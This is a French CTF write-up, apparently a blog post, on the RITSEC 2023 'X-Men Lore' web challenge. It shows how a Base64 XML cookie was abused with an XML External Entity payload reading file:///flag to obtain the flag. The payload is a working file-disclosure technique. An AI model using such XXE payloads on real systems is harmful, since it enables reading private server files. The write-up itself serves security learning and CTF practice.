--> XXE Injection : Challenge X-Men Lore du CTF RitSec 2023 | Hacking After Dark XXE Injection : Challenge X-Men Lore du CTF RitSec 2023 | Hacking After Dark
Accueil XXE Injection : Challenge X-Men Lore du CTF RitSec 2023
Post
Annuler

XXE Injection : Challenge X-Men Lore du CTF RitSec 2023

Lors du CTF RITSEC 2023, un challenge web nommé “X-Men Lore” dédié à la série animée X-Men des années 90 a été analysé. Une vulnérabilité XXE (XML External Entity) a été exploitée pour récupérer le flag.

En accédant au site, on découvre plusieurs boutons permettant de sélectionner des personnages X-Men. En examinant le code source, on constate que le serveur configure un cookie pour chaque personnage sélectionné, encodé en Base64. Le code source de la page d’accueil ressemble à ceci :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<head>
  <title>X-Men Lore</title>
  <link rel="stylesheet" href="/static/style.css">
</head>
<body>
  <h1>Choose an X-Men Character to Learn More!</h1>
  <img src="/static/home.jpg" alt="X-Men Animated Series" />
  <br/>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4='">
      Beast
    </button>
  </a>
  ...
</body>

En décodant ces cookies, on obtient du XML. Par exemple, pour le personnage “Beast”, le XML décodé ressemble à ceci :

1
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Beast</xmen></input>

En testant avec la valeur “Flag” encodée en Base64, on observe que le serveur ajoute les extensions “.html” et “jpg” à la valeur contenue dans les balises XML <xmen>Beast</xmen>.

Soupçonnant une injection XXE, on tente d’exploiter cette vulnérabilité en modifiant le cookie avec un payload XXE :

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<input>
  <xmen>&xxe;</xmen>
</input>

Après avoir appliqué ce payload, on obtient le flag dans le code source de la page :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<head>
  <title>X-Men Lore</title>
  <link rel="stylesheet" href="/static/style.css">
</head>
<a href="/"><button>Home</button></a>
<body>
      <h1>RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
</h1>
      <img src="/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
.jpg" alt="RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
" />
      <br/>
      <iframe src="/

Merci de m’avoir lu !

Cet article est sous licence CC BY 4.0 par l'auteur.

-

-

Tags tendance